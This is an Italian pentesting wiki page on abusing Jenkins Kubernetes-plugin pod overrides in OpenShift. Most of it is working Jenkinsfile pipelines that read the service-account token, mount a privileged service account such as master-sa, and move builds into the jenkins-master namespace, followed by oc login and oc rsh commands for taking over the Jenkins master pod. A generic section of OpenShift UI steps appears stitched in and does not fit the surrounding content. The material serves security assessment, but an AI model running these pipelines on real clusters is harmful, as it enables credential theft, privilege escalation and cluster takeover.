OpenShift - Jenkins Build Pod Override

Jenkins in Openshift - sostituzioni del pod di build

L'autore originale di questa pagina è Fares

Plugin Kubernetes per Jenkins

Questo plugin è principalmente responsabile delle funzioni di base di Jenkins all'interno di un cluster openshift/kubernetes. Documentazione ufficiale qui Offre alcune funzionalità come la possibilità per gli sviluppatori di sovrascrivere alcune configurazioni predefinite di un pod di build di Jenkins.

Funzionalità principale

Questo plugin consente flessibilità agli sviluppatori durante la compilazione del loro codice in un ambiente adeguato.

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}

Alcuni abusi sfruttando l'override yaml del pod

Tuttavia, può essere abusato per utilizzare qualsiasi immagine accessibile come Kali Linux ed eseguire comandi arbitrari utilizzando strumenti preinstallati da quell'immagine. Nell'esempio seguente possiamo esfiltrare il token dell'account di servizio del pod in esecuzione.

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}

Sovrascrittura della build di Jenkins in OpenShift

Quando si lavora con Jenkins su OpenShift, è possibile sovrascrivere le impostazioni predefinite della build Jenkins utilizzando un metodo diverso. Di seguito sono riportati i passaggi per eseguire questa operazione:

  1. Accedi al tuo progetto OpenShift che contiene la build di Jenkins.

  2. Naviga nella sezione "Builds" e seleziona la build di Jenkins che desideri sovrascrivere.

  3. Fai clic su "Configuration" per aprire le impostazioni della build.

  4. Scorri verso il basso fino a trovare la sezione relativa agli "Overrides" della build.

  5. Qui puoi modificare le configurazioni predefinite della build di Jenkins per adattarle alle tue esigenze specifiche.

  6. Assicurati di salvare le modifiche apportate prima di uscire dalla pagina.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Campione per sovrascrivere lo spazio dei nomi del pod

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Un altro esempio che cerca di montare un serviceaccount (che potrebbe avere più autorizzazioni rispetto a quello predefinito, che esegue la tua build) in base al suo nome. Potresti aver bisogno di indovinare o enumerare prima i serviceaccount esistenti.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

La stessa tecnica si applica per provare a montare un Segreto. L'obiettivo finale qui sarebbe capire come configurare la build del tuo pod per pivotare o ottenere privilegi in modo efficace.

Andando oltre

Una volta che ti sei abituato a sperimentare, utilizza le tue conoscenze su Jenkins e Kubernetes/Openshift per trovare configurazioni errate / abusi.

Poniti le seguenti domande:

  • Quale service account viene utilizzato per distribuire i pod di build?

  • Quali ruoli e permessi ha? Può leggere i segreti dello spazio dei nomi in cui mi trovo attualmente?

  • Posso enumerare ulteriormente altri pod di build?

  • Da un sa compromesso, posso eseguire comandi sul nodo/pod master?

  • Posso enumerare ulteriormente il cluster per pivotare altrove?

  • Quale SCC è applicato?

Puoi scoprire quali comandi oc/kubectl emettere qui e qui.

Possibili scenari di privesc/pivoting

Supponiamo che durante la tua valutazione hai scoperto che tutte le build di Jenkins vengono eseguite all'interno di uno spazio dei nomi chiamato worker-ns. Hai scoperto che un service account predefinito chiamato default-sa è montato sui pod di build, tuttavia non ha molti permessi tranne l'accesso in lettura su alcune risorse, ma sei riuscito a identificare un service account esistente chiamato master-sa. Supponiamo anche che tu abbia il comando oc installato all'interno del container di build in esecuzione.

Con lo script di build sottostante puoi prendere il controllo del service account master-sa e enumerare ulteriormente.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}

A seconda del tuo accesso, devi continuare il tuo attacco dallo script di build oppure puoi effettuare il login direttamente come questo sa sul cluster in esecuzione:

oc login --token=$token --server=https://apiserver.com:port

Se questo sa ha abbastanza permessi (come pod/exec), puoi anche prendere il controllo dell'intera istanza di jenkins eseguendo comandi all'interno del pod del nodo master, se viene eseguito nello stesso namespace. Puoi facilmente identificare questo pod dal suo nome e dal fatto che deve montare un PVC (persistant volume claim) utilizzato per memorizzare i dati di jenkins.

oc rsh pod_name -c container_name

Nel caso in cui il pod del nodo master non sia in esecuzione all'interno dello stesso namespace dei workers, puoi provare attacchi simili mirando al namespace master. Supponiamo che si chiami jenkins-master. Tieni presente che il serviceAccount master-sa deve esistere nel namespace jenkins-master (e potrebbe non esistere nel namespace worker-ns).

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: jenkins-master
spec:
serviceAccount: master-sa
containers:
- name: evil-build
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Last updated